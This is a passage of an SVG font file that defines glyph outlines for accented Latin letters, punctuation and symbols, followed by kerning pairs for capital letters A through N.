<glyph unicode="&#xe3;" d="M28 146q0 72 38.5 110t120.5 53l56 10q12 2 32 5t28.5 4.5t21 5.5t17.5 9.5t9 15t4 23.5q0 54 -81 54q-52 0 -73 -16t-26 -58h-135q13 187 231 187q221 0 221 -166v-300q0 -37 32 -66v-17h-152q-16 20 -16 68q-74 -77 -164 -77q-71 0 -117.5 40t-46.5 115zM95 611 q3 58 28 91t66 33q20 0 56 -13l71 -25q14 -6 34 -6q32 0 36 48h63q-6 -127 -95 -127q-24 0 -55 12l-71 26q-18 6 -30 6q-18 0 -27 -10.5t-13 -34.5h-63zM168 162q0 -58 76 -58q53 0 82 33t29 94v24q-19 -9 -59 -17l-48 -9q-45 -8 -62.5 -22.5t-17.5 -44.5z" />
<glyph unicode="&#xe4;" d="M28 146q0 72 38.5 110t120.5 53l56 10q12 2 32 5t28.5 4.5t21 5.5t17.5 9.5t9 15t4 23.5q0 54 -81 54q-52 0 -73 -16t-26 -58h-135q13 187 231 187q221 0 221 -166v-300q0 -37 32 -66v-17h-152q-16 20 -16 68q-74 -77 -164 -77q-71 0 -117.5 40t-46.5 115zM110 618v115 h126v-115h-126zM168 162q0 -58 76 -58q53 0 82 33t29 94v24q-19 -9 -59 -17l-48 -9q-45 -8 -62.5 -22.5t-17.5 -44.5zM305 618v115h126v-115h-126z" />
<glyph unicode="&#xe5;" d="M28 146q0 72 38.5 110t120.5 53l56 10q12 2 32 5t28.5 4.5t21 5.5t17.5 9.5t9 15t4 23.5q0 54 -81 54q-52 0 -73 -16t-26 -58h-135q13 187 231 187q221 0 221 -166v-300q0 -37 32 -66v-17h-152q-16 20 -16 68q-74 -77 -164 -77q-71 0 -117.5 40t-46.5 115zM168 162 q0 -58 76 -58q53 0 82 33t29 94v24q-19 -9 -59 -17l-48 -9q-45 -8 -62.5 -22.5t-17.5 -44.5zM171 675q0 41 29 70t72 29q41 0 69.5 -29t28.5 -71q0 -40 -29.5 -69t-69.5 -29q-42 0 -71 29t-29 70zM224 675q0 -19 14 -32.5t34 -13.5q18 0 31.5 13.5t13.5 32.5t-13 32.5 t-32 13.5q-20 0 -34 -13.5t-14 -32.5z" />
<glyph unicode="&#xe6;" horiz-adv-x="889" d="M27 149q0 73 38 110.5t121 52.5l56 10q13 2 28.5 4.5t21 3.5t12.5 2.5t10.5 3l7 3t8.5 4.5q24 13 24 40q0 53 -85 53q-47 0 -68.5 -16.5t-26.5 -57.5h-131q3 187 228 187q117 0 175 -50q62 50 155 50q121 0 188.5 -78.5t67.5 -220.5q0 -12 -1 -24h-362q0 -62 31 -94.5 t83 -32.5q34 0 64 16.5t40 36.5h138q-24 -70 -92.5 -115t-157.5 -45q-136 0 -200 104q-89 -105 -205 -105q-78 0 -123 41.5t-45 116.5zM167 163q0 -59 76 -59q54 0 82.5 32.5t28.5 94.5v23q-24 -14 -59 -19l-48 -7q-42 -6 -61 -20.5t-19 -44.5zM495 319h216 q-11 123 -109 123t-107 -123z" />
<glyph unicode="&#xe7;" d="M34 266q0 137 66.5 210t188.5 73q101 0 163.5 -56t69.5 -155h-134q-12 53 -34.5 75.5t-65.5 22.5q-114 0 -114 -170q0 -78 30 -120t84 -42q40 0 63 20t37 63h134q-9 -82 -67 -135.5t-147 -59.5l-20 -42h40q35 0 55.5 -21.5t20.5 -55.5q0 -46 -34 -74t-95 -28 q-55 0 -138 28l19 61q69 -30 105 -30q24 0 40.5 12t16.5 29q0 31 -51 31h-64l43 91q-102 12 -157 82t-55 191z" />
<glyph unicode="&#xe8;" d="M22 263q0 135 66.5 210.5t183.5 75.5q119 0 186 -79.5t67 -219.5l-1 -17h-362q3 -75 31 -105t81 -30q90 0 107 54h138q-23 -78 -90 -119.5t-160 -41.5q-116 0 -181.5 71.5t-65.5 200.5zM96 752h156l70 -154h-100zM164 326h215q-5 57 -34 86.5t-75 29.5q-92 0 -106 -116z " />
<glyph unicode="&#xe9;" d="M22 263q0 135 66.5 210.5t183.5 75.5q119 0 186 -79.5t67 -219.5l-1 -17h-362q3 -75 31 -105t81 -30q90 0 107 54h138q-23 -78 -90 -119.5t-160 -41.5q-116 0 -181.5 71.5t-65.5 200.5zM164 326h215q-5 57 -34 86.5t-75 29.5q-92 0 -106 -116zM222 598l70 154h156 l-126 -154h-100z" />
<glyph unicode="&#xea;" d="M22 263q0 135 66.5 210.5t183.5 75.5q119 0 186 -79.5t67 -219.5l-1 -17h-362q3 -75 31 -105t81 -30q90 0 107 54h138q-23 -78 -90 -119.5t-160 -41.5q-116 0 -181.5 71.5t-65.5 200.5zM103 598l108 154h127l103 -154h-88l-82 77l-82 -77h-86zM164 326h215 q-5 57 -34 86.5t-75 29.5q-92 0 -106 -116z" />
<glyph unicode="&#xeb;" d="M22 263q0 135 66.5 210.5t183.5 75.5q119 0 186 -79.5t67 -219.5l-1 -17h-362q3 -75 31 -105t81 -30q90 0 107 54h138q-23 -78 -90 -119.5t-160 -41.5q-116 0 -181.5 71.5t-65.5 200.5zM111 618v115h126v-115h-126zM164 326h215q-5 57 -34 86.5t-75 29.5q-92 0 -106 -116 zM306 618v115h126v-115h-126z" />
<glyph unicode="&#xec;" horiz-adv-x="278" d="M-19 752h156l70 -154h-100zM67 0v540h140v-540h-140z" />
<glyph unicode="&#xed;" horiz-adv-x="278" d="M67 0v540h140v-540h-140zM68 598l70 154h156l-126 -154h-100z" />
<glyph unicode="&#xee;" horiz-adv-x="278" d="M-30 598l108 154h127l103 -154h-88l-82 77l-82 -77h-86zM67 0v540h140v-540h-140z" />
<glyph unicode="&#xef;" horiz-adv-x="278" d="M-22 618v115h126v-115h-126zM67 0v540h140v-540h-140zM173 618v115h126v-115h-126z" />
<glyph unicode="&#xf0;" horiz-adv-x="611" d="M35 272q0 119 66 190.5t173 71.5q36 0 85 -19q-40 64 -95 96l-77 -46l-42 37l70 44q-38 23 -90 48l67 47q35 -13 87 -42q7 -4 15 -7l87 52l51 -34l-84 -50q114 -77 167.5 -169t53.5 -215q0 -137 -70 -211t-197 -74q-126 0 -196.5 73.5t-70.5 207.5zM176 267 q0 -76 34 -119.5t92 -43.5t92 42.5t34 116.5v1q0 78 -34 121.5t-92 43.5t-92 -43t-34 -119z" />
<glyph unicode="&#xf1;" horiz-adv-x="611" d="M63 0v540h140v-78q58 87 162 87q86 0 133.5 -49t47.5 -138v-362h-140v333q0 97 -90 97q-51 0 -82 -29t-31 -77v-324h-140zM130 611q3 58 28 91t66 33q20 0 56 -13l71 -25q14 -6 34 -6q31 0 36 48h63q-6 -127 -95 -127q-23 0 -55 12l-71 26q-18 6 -30 6q-18 0 -27 -10.5 t-13 -34.5h-63z" />
<glyph unicode="&#xf2;" horiz-adv-x="611" d="M35 270q0 132 71 205.5t195 73.5q128 0 198 -73.5t70 -209.5q0 -129 -71.5 -202t-195.5 -73q-125 0 -196 73t-71 206zM129 752h156l70 -154h-100zM175 270q0 -77 34.5 -121.5t92.5 -44.5q57 0 92 44.5t35 119.5q0 79 -34.5 123.5t-92.5 44.5t-92.5 -44.5t-34.5 -121.5z " />
<glyph unicode="&#xf3;" horiz-adv-x="611" d="M35 270q0 132 71 205.5t195 73.5q128 0 198 -73.5t70 -209.5q0 -129 -71.5 -202t-195.5 -73q-125 0 -196 73t-71 206zM175 270q0 -77 34.5 -121.5t92.5 -44.5q57 0 92 44.5t35 119.5q0 79 -34.5 123.5t-92.5 44.5t-92.5 -44.5t-34.5 -121.5zM256 598l70 154h156 l-126 -154h-100z" />
<glyph unicode="&#xf4;" horiz-adv-x="611" d="M35 270q0 132 71 205.5t195 73.5q128 0 198 -73.5t70 -209.5q0 -129 -71.5 -202t-195.5 -73q-125 0 -196 73t-71 206zM137 598l108 154h127l103 -154h-88l-82 77l-82 -77h-86zM175 270q0 -77 34.5 -121.5t92.5 -44.5q57 0 92 44.5t35 119.5q0 79 -34.5 123.5t-92.5 44.5 t-92.5 -44.5t-34.5 -121.5z" />
<glyph unicode="&#xf5;" horiz-adv-x="611" d="M35 270q0 132 71 205.5t195 73.5q128 0 198 -73.5t70 -209.5q0 -129 -71.5 -202t-195.5 -73q-125 0 -196 73t-71 206zM130 611q3 58 28 91t66 33q20 0 56 -13l71 -25q14 -6 34 -6q31 0 36 48h63q-6 -127 -95 -127q-23 0 -55 12l-71 26q-18 6 -30 6q-18 0 -27 -10.5 t-13 -34.5h-63zM175 270q0 -77 34.5 -121.5t92.5 -44.5q57 0 92 44.5t35 119.5q0 79 -34.5 123.5t-92.5 44.5t-92.5 -44.5t-34.5 -121.5z" />
<glyph unicode="&#xf6;" horiz-adv-x="611" d="M35 270q0 132 71 205.5t195 73.5q128 0 198 -73.5t70 -209.5q0 -129 -71.5 -202t-195.5 -73q-125 0 -196 73t-71 206zM145 618v115h126v-115h-126zM175 270q0 -77 34.5 -121.5t92.5 -44.5q57 0 92 44.5t35 119.5q0 79 -34.5 123.5t-92.5 44.5t-92.5 -44.5t-34.5 -121.5z M340 618v115h126v-115h-126z" />
<glyph unicode="&#xf7;" horiz-adv-x="584" d="M60 200v100h464v-100h-464zM217 68q0 31 22 53t53 22t53 -22t22 -53t-22 -53t-53 -22t-53 22t-22 53zM217 432q0 31 22 53t53 22t53 -22t22 -53t-22 -53t-53 -22t-53 22t-22 53z" />
<glyph unicode="&#xf8;" horiz-adv-x="611" d="M35 270q0 132 71 205.5t195 73.5q101 0 165 -45l38 39l60 -58l-40 -42q45 -68 45 -177q0 -129 -71.5 -202t-195.5 -73q-98 0 -164 46l-38 -40l-60 58l40 42q-45 70 -45 173zM175 270q0 -34 8 -64l194 204q-31 26 -75 26q-58 0 -92.5 -44.5t-34.5 -121.5zM227 130 q32 -26 75 -26q57 0 92 44.5t35 119.5q0 36 -8 66z" />
<glyph unicode="&#xf9;" horiz-adv-x="611" d="M58 178v362h140v-333q0 -97 90 -97q51 0 82 29t31 77v324h140v-540h-140v71q-60 -80 -162 -80q-86 0 -133.5 49t-47.5 138zM129 752h156l70 -154h-100z" />
<glyph unicode="&#xfa;" horiz-adv-x="611" d="M58 178v362h140v-333q0 -97 90 -97q51 0 82 29t31 77v324h140v-540h-140v71q-60 -80 -162 -80q-86 0 -133.5 49t-47.5 138zM256 598l70 154h156l-126 -154h-100z" />
<glyph unicode="&#xfb;" horiz-adv-x="611" d="M58 178v362h140v-333q0 -97 90 -97q51 0 82 29t31 77v324h140v-540h-140v71q-60 -80 -162 -80q-86 0 -133.5 49t-47.5 138zM137 598l108 154h127l103 -154h-88l-82 77l-82 -77h-86z" />
<glyph unicode="&#xfc;" horiz-adv-x="611" d="M58 178v362h140v-333q0 -97 90 -97q51 0 82 29t31 77v324h140v-540h-140v71q-60 -80 -162 -80q-86 0 -133.5 49t-47.5 138zM145 618v115h126v-115h-126zM340 618v115h126v-115h-126z" />
<glyph unicode="&#xfd;" d="M9 540h154l119 -393l112 393h144l-222 -639q-26 -73 -65 -96.5t-115 -23.5q-22 0 -50 4v105q22 -6 37 -6q37 0 62 26t25 64v3zM228 598l70 154h156l-126 -154h-100z" />
<glyph unicode="&#xfe;" horiz-adv-x="611" d="M58 -218v947h140v-269q50 89 150 89q97 0 161.5 -81.5t64.5 -205.5q0 -113 -64.5 -192t-161.5 -79q-100 0 -150 87v-296h-140zM198 262q0 -65 33 -109.5t85 -44.5q51 0 84.5 44t33.5 108q0 77 -32.5 124.5t-85.5 47.5t-85.5 -47t-32.5 -123z" />
<glyph unicode="&#xff;" d="M9 540h154l119 -393l112 393h144l-222 -639q-26 -73 -65 -96.5t-115 -23.5q-22 0 -50 4v105q22 -6 37 -6q37 0 62 26t25 64v3zM117 618v115h126v-115h-126zM312 618v115h126v-115h-126z" />
<glyph unicode="&#x152;" horiz-adv-x="1000" d="M28 359q0 169 84 275.5t217 106.5q48 0 81.5 -14.5t69.5 -49.5v52h471v-125h-327v-165h299v-125h-299v-189h346v-125h-490v73q-37 -46 -70.5 -64t-84.5 -18q-131 0 -214 101t-83 267zM178 359q0 -113 48 -176.5t129 -63.5q77 0 119 73v348q-42 73 -118 73 q-80 0 -129 -69.5t-49 -184.5z" />
<glyph unicode="&#x153;" horiz-adv-x="944" d="M23 263q0 133 71 209.5t196 76.5q122 0 195 -76q65 76 180 76q121 0 188 -79.5t67 -219.5q0 -12 -1 -24h-362q1 -71 29.5 -99.5t84.5 -28.5q35 0 65 16.5t40 37.5h138q-25 -71 -93 -116t-157 -45q-113 0 -179 75q-77 -75 -195 -75q-124 0 -195.5 74t-71.5 198zM163 263 q0 -68 35.5 -113.5t91.5 -45.5q55 0 91 45.5t36 111.5q0 80 -34.5 127.5t-92.5 47.5q-57 0 -92 -48t-35 -125zM559 319h215q-7 62 -35.5 92.5t-72.5 30.5q-96 0 -107 -123z" />
<glyph unicode="&#x178;" horiz-adv-x="667" d="M27 729h167l149 -322l139 322h168l-231 -459v-270h-150v270zM184 797v115h126v-115h-126zM379 797v115h126v-115h-126z" />
<glyph unicode="&#x2c6;" horiz-adv-x="333" d="M-2 598l108 154h127l103 -154h-88l-82 77l-82 -77h-86z" />
<glyph unicode="&#x2dc;" horiz-adv-x="333" d="M-9 611q3 58 28 91t66 33q20 0 56 -13l71 -25q14 -6 34 -6q32 0 36 48h63q-6 -127 -95 -127q-24 0 -55 12l-71 26q-18 6 -30 6q-18 0 -27 -10.5t-13 -34.5h-63z" />
<glyph unicode="&#x2000;" horiz-adv-x="481" />
<glyph unicode="&#x2001;" horiz-adv-x="962" />
<glyph unicode="&#x2002;" horiz-adv-x="481" />
<glyph unicode="&#x2003;" horiz-adv-x="962" />
<glyph unicode="&#x2004;" horiz-adv-x="320" />
<glyph unicode="&#x2005;" horiz-adv-x="240" />
<glyph unicode="&#x2006;" horiz-adv-x="160" />
<glyph unicode="&#x2007;" horiz-adv-x="160" />
<glyph unicode="&#x2008;" horiz-adv-x="120" />
<glyph unicode="&#x2009;" horiz-adv-x="192" />
<glyph unicode="&#x200a;" horiz-adv-x="53" />
<glyph unicode="&#x2010;" horiz-adv-x="333" d="M26 207v135h272v-135h-272z" />
<glyph unicode="&#x2011;" horiz-adv-x="333" d="M26 207v135h272v-135h-272z" />
<glyph unicode="&#x2012;" horiz-adv-x="333" d="M26 207v135h272v-135h-272z" />
<glyph unicode="&#x2013;" d="M-9 207v104h566v-104h-566z" />
<glyph unicode="&#x2014;" horiz-adv-x="1000" d="M-7 207v104h1010v-104h-1010z" />
<glyph unicode="&#x2018;" horiz-adv-x="278" d="M67 469v109q0 79 45 117q37 31 90 34v-46q-83 -15 -80 -89h80v-125h-135z" />
<glyph unicode="&#x2019;" horiz-adv-x="278" d="M66 469v46q83 15 80 89h-80v125h135v-109q0 -79 -45 -117q-37 -31 -90 -34z" />
<glyph unicode="&#x201a;" horiz-adv-x="278" d="M66 0v125h135v-109q0 -79 -45 -117q-37 -31 -90 -34v46q83 15 80 89h-80z" />
<glyph unicode="&#x201c;" horiz-adv-x="500" d="M71 469v109q0 79 45 117q37 31 90 34v-46q-83 -15 -80 -89h80v-125h-135zM298 469v109q0 79 45 117q37 31 90 34v-46q-83 -15 -80 -89h80v-125h-135z" />
<glyph unicode="&#x201d;" horiz-adv-x="500" d="M73 469v46q83 15 80 89h-80v125h135v-109q0 -79 -45 -117q-37 -31 -90 -34zM305 469v46q83 15 80 89h-80v125h135v-109q0 -79 -45 -117q-37 -31 -90 -34z" />
<glyph unicode="&#x201e;" horiz-adv-x="500" d="M72 0v125h135v-109q0 -79 -45 -117q-37 -31 -90 -34v46q83 15 80 89h-80zM297 0v125h135v-109q0 -79 -45 -117q-37 -31 -90 -34v46q83 15 80 89h-80z" />
<glyph unicode="&#x2022;" horiz-adv-x="350" d="M50 300q0 52 37 88.5t90 36.5q50 0 86.5 -37t36.5 -88q0 -52 -36.5 -88.5t-88.5 -36.5t-88.5 36.5t-36.5 88.5z" />
<glyph unicode="&#x2026;" horiz-adv-x="1000" d="M92 0v146h150v-146h-150zM425 0v146h150v-146h-150zM758 0v146h150v-146h-150z" />
<glyph unicode="&#x202f;" horiz-adv-x="192" />
<glyph unicode="&#x2039;" horiz-adv-x="333" d="M83 218v114l167 149v-117l-101 -89l101 -89v-114z" />
<glyph unicode="&#x203a;" horiz-adv-x="333" d="M80 72v117l101 89l-101 89v114l167 -146v-115z" />
<glyph unicode="&#x205f;" horiz-adv-x="240" />
<glyph unicode="&#x20ac;" d="M6 250l24 68h40q-2 14 -2 35t1 33h-63l24 68h48q28 128 103 199t183 71q52 0 90 -14t92 -54l-45 -129q-84 67 -146 67q-94 0 -131 -140h251l-24 -68h-240q-3 -24 -3 -41t2 -27h217l-25 -68h-181q37 -128 134 -128q30 0 58.5 10t87.5 42l44 -122q-50 -31 -105 -46t-91 -15 q-106 0 -176.5 69t-94.5 190h-72z" />
<glyph unicode="&#x2122;" horiz-adv-x="1000" d="M60 646v83h372v-83h-130v-322h-108v322h-134zM491 324v405h151l74 -283l71 283h152v-405h-108v244l-63 -244h-105l-64 245v-245h-108z" />
<glyph unicode="&#xe000;" horiz-adv-x="540" d="M0 0v540h540v-540h-540z" />
<hkern u1="&#x2c;" u2="&#x201d;" k="35" />
<hkern u1="&#x2c;" u2="&#x2019;" k="30" />
<hkern u1="&#x2d;" u2="&#x178;" k="65" />
<hkern u1="&#x2d;" u2="&#xc6;" k="-10" />
<hkern u1="&#x2d;" u2="Y" k="65" />
<hkern u1="&#x2d;" u2="W" k="10" />
<hkern u1="&#x2d;" u2="V" k="25" />
<hkern u1="&#x2d;" u2="T" k="55" />
<hkern u1="&#x2e;" u2="&#x201d;" k="30" />
<hkern u1="&#x2e;" u2="&#x2019;" k="30" />
<hkern u1="A" u2="&#x2039;" k="40" />
<hkern u1="A" u2="&#x201d;" k="65" />
<hkern u1="A" u2="&#x2019;" k="60" />
<hkern u1="A" u2="&#x178;" k="90" />
<hkern u1="A" u2="&#xff;" k="35" />
<hkern u1="A" u2="&#xfc;" k="10" />
<hkern u1="A" u2="&#xfb;" k="10" />
<hkern u1="A" u2="&#xf8;" k="15" />
<hkern u1="A" u2="&#xf6;" k="15" />
<hkern u1="A" u2="&#xf2;" k="15" />
<hkern u1="A" u2="&#xeb;" k="10" />
<hkern u1="A" u2="&#xe7;" k="15" />
<hkern u1="A" u2="&#xdc;" k="30" />
<hkern u1="A" u2="&#xdb;" k="30" />
<hkern u1="A" u2="&#xd8;" k="35" />
<hkern u1="A" u2="&#xd6;" k="35" />
<hkern u1="A" u2="&#xd2;" k="35" />
<hkern u1="A" u2="&#xc7;" k="35" />
<hkern u1="A" u2="&#xab;" k="45" />
<hkern u1="A" u2="y" k="35" />
<hkern u1="A" u2="w" k="25" />
<hkern u1="A" u2="v" k="35" />
<hkern u1="A" u2="u" k="10" />
<hkern u1="A" u2="t" k="20" />
<hkern u1="A" u2="q" k="10" />
<hkern u1="A" u2="o" k="15" />
<hkern u1="A" u2="g" k="15" />
<hkern u1="A" u2="e" k="10" />
<hkern u1="A" u2="d" k="15" />
<hkern u1="A" u2="c" k="15" />
<hkern u1="A" u2="Y" k="90" />
<hkern u1="A" u2="W" k="50" />
<hkern u1="A" u2="V" k="65" />
<hkern u1="A" u2="U" k="30" />
<hkern u1="A" u2="T" k="80" />
<hkern u1="A" u2="Q" k="35" />
<hkern u1="A" u2="O" k="35" />
<hkern u1="A" u2="G" k="35" />
<hkern u1="A" u2="C" k="35" />
<hkern u1="A" u2="&#x2e;" k="-20" />
<hkern u1="A" u2="&#x2d;" k="-5" />
<hkern u1="A" u2="&#x2c;" k="-20" />
<hkern u1="B" u2="&#xe000;" k="25" />
<hkern u1="B" u2="&#x178;" k="50" />
<hkern u1="B" u2="&#xd8;" k="10" />
<hkern u1="B" u2="&#xd6;" k="10" />
<hkern u1="B" u2="&#xd5;" k="10" />
<hkern u1="B" u2="&#xd4;" k="10" />
<hkern u1="B" u2="&#xd3;" k="10" />
<hkern u1="B" u2="&#xd2;" k="10" />
<hkern u1="B" u2="&#xc6;" k="20" />
<hkern u1="B" u2="&#xc5;" k="30" />
<hkern u1="B" u2="&#xc4;" k="30" />
<hkern u1="B" u2="&#xc3;" k="30" />
<hkern u1="B" u2="&#xc2;" k="30" />
<hkern u1="B" u2="&#xc1;" k="30" />
<hkern u1="B" u2="&#xc0;" k="30" />
<hkern u1="B" u2="Y" k="50" />
<hkern u1="B" u2="W" k="25" />
<hkern u1="B" u2="V" k="40" />
<hkern u1="B" u2="O" k="10" />
<hkern u1="B" u2="A" k="30" />
<hkern u1="C" u2="&#xe000;" k="25" />
<hkern u1="C" u2="&#xd8;" k="5" />
<hkern u1="C" u2="&#xd6;" k="5" />
<hkern u1="C" u2="&#xd5;" k="5" />
<hkern u1="C" u2="&#xd4;" k="5" />
<hkern u1="C" u2="&#xd3;" k="5" />
<hkern u1="C" u2="&#xd2;" k="5" />
<hkern u1="C" u2="&#xc6;" k="15" />
<hkern u1="C" u2="&#xc5;" k="30" />
<hkern u1="C" u2="&#xc4;" k="30" />
<hkern u1="C" u2="&#xc3;" k="30" />
<hkern u1="C" u2="&#xc2;" k="30" />
<hkern u1="C" u2="&#xc1;" k="30" />
<hkern u1="C" u2="&#xc0;" k="30" />
<hkern u1="C" u2="O" k="5" />
<hkern u1="C" u2="H" k="-5" />
<hkern u1="C" u2="A" k="30" />
<hkern u1="D" u2="&#xe000;" k="30" />
<hkern u1="D" u2="&#x178;" k="55" />
<hkern u1="D" u2="&#xc5;" k="35" />
<hkern u1="D" u2="&#xc4;" k="35" />
<hkern u1="D" u2="&#xc3;" k="35" />
<hkern u1="D" u2="&#xc2;" k="35" />
<hkern u1="D" u2="&#xc1;" k="35" />
<hkern u1="D" u2="&#xc0;" k="35" />
<hkern u1="D" u2="Y" k="55" />
<hkern u1="D" u2="X" k="35" />
<hkern u1="D" u2="W" k="20" />
<hkern u1="D" u2="V" k="35" />
<hkern u1="D" u2="T" k="15" />
<hkern u1="D" u2="A" k="35" />
<hkern u1="F" u2="&#x153;" k="10" />
<hkern u1="F" u2="&#x152;" k="15" />
<hkern u1="F" u2="&#xfc;" k="15" />
<hkern u1="F" u2="&#xfb;" k="15" />
<hkern u1="F" u2="&#xfa;" k="20" />
<hkern u1="F" u2="&#xf9;" k="15" />
<hkern u1="F" u2="&#xf8;" k="15" />
<hkern u1="F" u2="&#xf6;" k="10" />
<hkern u1="F" u2="&#xf5;" k="10" />
<hkern u1="F" u2="&#xf4;" k="10" />
<hkern u1="F" u2="&#xf3;" k="10" />
<hkern u1="F" u2="&#xf2;" k="10" />
<hkern u1="F" u2="&#xeb;" k="5" />
<hkern u1="F" u2="&#xea;" k="5" />
<hkern u1="F" u2="&#xe9;" k="5" />
<hkern u1="F" u2="&#xe8;" k="5" />
<hkern u1="F" u2="&#xe6;" k="15" />
<hkern u1="F" u2="&#xe5;" k="10" />
<hkern u1="F" u2="&#xe4;" k="10" />
<hkern u1="F" u2="&#xe3;" k="10" />
<hkern u1="F" u2="&#xe2;" k="10" />
<hkern u1="F" u2="&#xe1;" k="10" />
<hkern u1="F" u2="&#xe0;" k="10" />
<hkern u1="F" u2="&#xd8;" k="15" />
<hkern u1="F" u2="&#xd6;" k="15" />
<hkern u1="F" u2="&#xc6;" k="15" />
<hkern u1="F" u2="&#xc5;" k="65" />
<hkern u1="F" u2="&#xc4;" k="65" />
<hkern u1="F" u2="u" k="25" />
<hkern u1="F" u2="r" k="25" />
<hkern u1="F" u2="o" k="15" />
<hkern u1="F" u2="e" k="5" />
<hkern u1="F" u2="a" k="15" />
<hkern u1="F" u2="O" k="15" />
<hkern u1="F" u2="J" k="25" />
<hkern u1="F" u2="A" k="65" />
<hkern u1="F" u2="&#x2e;" k="75" />
<hkern u1="F" u2="&#x2d;" k="-10" />
<hkern u1="F" u2="&#x2c;" k="75" />
<hkern u1="G" u2="&#xe000;" k="10" />
<hkern u1="G" u2="&#x178;" k="55" />
<hkern u1="G" u2="&#xc6;" k="-5" />
<hkern u1="G" u2="&#xc5;" k="10" />
<hkern u1="G" u2="&#xc4;" k="10" />
<hkern u1="G" u2="&#xc3;" k="10" />
<hkern u1="G" u2="&#xc2;" k="10" />
<hkern u1="G" u2="&#xc1;" k="10" />
<hkern u1="G" u2="&#xc0;" k="10" />
<hkern u1="G" u2="Y" k="55" />
<hkern u1="G" u2="W" k="20" />
<hkern u1="G" u2="V" k="35" />
<hkern u1="G" u2="T" k="15" />
<hkern u1="G" u2="A" k="10" />
<hkern u1="J" u2="&#xc6;" k="20" />
<hkern u1="J" u2="&#xc5;" k="30" />
<hkern u1="J" u2="&#xc4;" k="30" />
<hkern u1="J" u2="A" k="30" />
<hkern u1="K" u2="&#x152;" k="45" />
<hkern u1="K" u2="&#xff;" k="65" />
<hkern u1="K" u2="&#xfd;" k="65" />
<hkern u1="K" u2="&#xfc;" k="25" />
<hkern u1="K" u2="&#xfb;" k="25" />
<hkern u1="K" u2="&#xf8;" k="35" />
<hkern u1="K" u2="&#xf6;" k="35" />
<hkern u1="K" u2="&#xeb;" k="25" />
<hkern u1="K" u2="&#xea;" k="25" />
<hkern u1="K" u2="&#xe9;" k="25" />
<hkern u1="K" u2="&#xe8;" k="25" />
<hkern u1="K" u2="&#xe5;" k="5" />
<hkern u1="K" u2="&#xe4;" k="5" />
<hkern u1="K" u2="&#xd8;" k="55" />
<hkern u1="K" u2="&#xd6;" k="55" />
<hkern u1="K" u2="&#xc7;" k="55" />
<hkern u1="K" u2="y" k="65" />
<hkern u1="K" u2="u" k="25" />
<hkern u1="K" u2="o" k="35" />
<hkern u1="K" u2="e" k="25" />
<hkern u1="K" u2="a" k="5" />
<hkern u1="K" u2="T" k="-15" />
<hkern u1="K" u2="S" k="30" />
<hkern u1="K" u2="O" k="55" />
<hkern u1="K" u2="G" k="55" />
<hkern u1="K" u2="C" k="55" />
<hkern u1="K" u2="&#x2d;" k="45" />
<hkern u1="L" u2="&#xe000;" k="-10" />
<hkern u1="L" u2="&#x201d;" k="140" />
<hkern u1="L" u2="&#x2019;" k="140" />
<hkern u1="L" u2="&#x178;" k="110" />
<hkern u1="L" u2="&#xff;" k="55" />
<hkern u1="L" u2="&#xfd;" k="55" />
<hkern u1="L" u2="&#xfc;" k="5" />
<hkern u1="L" u2="&#xfb;" k="5" />
<hkern u1="L" u2="&#xfa;" k="5" />
<hkern u1="L" u2="&#xf9;" k="5" />
<hkern u1="L" u2="&#xdd;" k="110" />
<hkern u1="L" u2="&#xdc;" k="25" />
<hkern u1="L" u2="&#xdb;" k="25" />
<hkern u1="L" u2="&#xda;" k="25" />
<hkern u1="L" u2="&#xd9;" k="25" />
<hkern u1="L" u2="&#xd8;" k="30" />
<hkern u1="L" u2="&#xd6;" k="30" />
<hkern u1="L" u2="&#xd5;" k="30" />
<hkern u1="L" u2="&#xd4;" k="30" />
<hkern u1="L" u2="&#xd3;" k="30" />
<hkern u1="L" u2="&#xd2;" k="30" />
<hkern u1="L" u2="&#xc7;" k="25" />
<hkern u1="L" u2="&#xc6;" k="-20" />
<hkern u1="L" u2="&#xc5;" k="-10" />
<hkern u1="L" u2="&#xc4;" k="-10" />
<hkern u1="L" u2="&#xc3;" k="-10" />
<hkern u1="L" u2="&#xc2;" k="-10" />
<hkern u1="L" u2="&#xc1;" k="-10" />
<hkern u1="L" u2="&#xc0;" k="-10" />
<hkern u1="L" u2="y" k="55" />
<hkern u1="L" u2="u" k="5" />
<hkern u1="L" u2="Y" k="110" />
<hkern u1="L" u2="W" k="70" />
<hkern u1="L" u2="V" k="90" />
<hkern u1="L" u2="U" k="25" />
<hkern u1="L" u2="T" k="95" />
<hkern u1="L" u2="O" k="30" />
<hkern u1="L" u2="G" k="30" />
<hkern u1="L" u2="C" k="25" />
<hkern u1="L" u2="A" k="-10" />
<hkern u1="L" u2="&#x2d;" k="10" />
<hkern u1="N" u2="&#xe000;" k="5" />
<hkern u1="N" u2="&#xfc;" k="-10" />
<hkern u1="N" u2="&#xfb;" k="-10" />
<hkern u1="N" u2="&#xfa;" k="-10" />
<hkern u1="N" u2="&#xf9;" k="-10" />
<hkern u1="N" u2="&#xf8;" k="-10" />
<hkern u1="N" u2="&#xf6;" k="-10" />
<hkern u1="N" u2="&#xf5;" k="-10" />
<hkern u1="N" u2="&#xf4;" k="-10" />
<hkern u1="N" u2="&#xf3;" k="-10" />
<hkern u1="N" u2="&#xf2;" k="-10" />
<hkern u1="N" u2="&#xeb;" k="-20" />
<hkern u1="N" u2="&#xea;" k="-20" />
<hkern u1="N" u2="&#xe9;" k="-20" />
<hkern u1="N" u2="&#xe8;" k="-20" />
<hkern u1="N" u2="&#xe6;" k="-15" />
<hkern u1="N" u2="&#xe5;" k="-15" />
<hkern u1="N" u2="&#xe4;" k="-15" />
<hkern u1="N" u2="&#xe3;" k="-15" />
<hkern u1="N" u2="&#xe2;" k="-15" />
<hkern u1="N" u2="&#xe1;" k="-15" />
<hkern u1="N" u2="&#xe0;" k="-15" />
<hkern u1="N" u2="&#xd8;" k="-10" />
<hkern u1="N" u2="&#xd6;" k="-10" />
<hkern u1="N" u2="&#xd5;" k="-10" />
<hkern u1="N" u2="&#xd4;" k="-10" />
<hkern u1="N" u2="&#xd3;" k="-10" />
<hkern u1="N" u2="&#xd2;" k="-10" />
<hkern u1="N" u2="&#xc7;" k="-10" />
<hkern u1="N" u2="&#xc6;" k="-5" />
<hkern u1="N" u2="&#xc5;" k="5" />
<hkern u1="N" u2="&#xc4;" k="5" />
<hkern u1="N" u2="&#xc3;" k="5" />
<hkern u1="N" u2="&#xc2;" k="5" />
<hkern u1="N" u2="&#xc1;" k="5" />
<hkern u1="N" u2="&#xc0;" k="5" />
<hkern u1="N" u2="u" k="-10" />
<hkern u1="N" u2="o" k="-10" />
<hkern u1="N" u2="e" k="-20" />
<hkern u1="N" u2="a" k="-15" />
